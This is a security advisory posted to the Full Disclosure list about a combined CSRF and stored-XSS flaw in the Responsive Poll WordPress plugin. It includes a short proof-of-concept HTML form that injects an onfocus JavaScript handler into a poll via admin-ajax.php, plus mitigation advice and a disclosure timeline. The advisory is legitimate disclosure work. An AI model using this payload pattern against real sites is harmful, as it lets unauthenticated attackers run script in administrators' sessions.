[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[FD] CSRF/XSS in Responsive Poll allows unauthenticated attackers to do almost anything an admin can (WordPress plugin)

Software: Responsive Poll
Version: 1.6.4,1.7.4
Homepage: http://codecanyon.net/item/responsive-poll/6785692
Advisory report: https://security.dxw.com/advisories/csrfxss-in-responsive-poll-allows-unauthenticated-attackers-to-do-almost-anything-an-admin-can/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

CSRF/XSS in Responsive Poll allows unauthenticated attackers to do almost anything an admin can

This plugin lacks CSRF checks when updating polls meaning an unauthenticated attacker can cause anything to be modified in a poll. The plugin also fails to escape values put into HTML. The combination of these two means that an unauthenticated attacker can put arbitrary JavaScript into a page in /wp-admin/.

Proof of concept
Create a poll. We assume that the ID of this poll will be 1.
Visit the following page and click submit (in a real attack the form can be submitted without user interaction):
<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php\";>
<input type=\"text\" name=\"poll_id\" value=\"1\">
<input type=\"text\" name=\"action\" value=\"update_poll\">
<input type=\"text\" name=\"name\" value=\"&quot; onfocus=&quot;alert(1)\">
<input type=\"submit\">
Then visit http://localhost/wp-admin/admin.php?page=polls&action=edit&edit_poll=1 and focus the Question field (either via clicking on it or tabbing to it).

Disable the plugin until a new version is released that fixes this bug.

Disclosure policy
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security AT dxw.com to acknowledge this report if you received it via a third party (for example, plugins AT wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.


2015-09-15: Discovered
2016-12-07: Reported to vendor via https://codecanyon.net/user/weblator
2016-12-07: Requested CVE
2016-12-15: Vendor first replied
2017-01-10: It’s been over 30 days and the vendor has not reported the bug fixed or indicated when they expect it to be fixed
2017-01-10: Advisory published

Discovered by dxw:
Tom Adams
Please visit security.dxw.com for more information.

Sent through the Full Disclosure mailing list
Web Archives & RSS: http://seclists.org/fulldisclosure/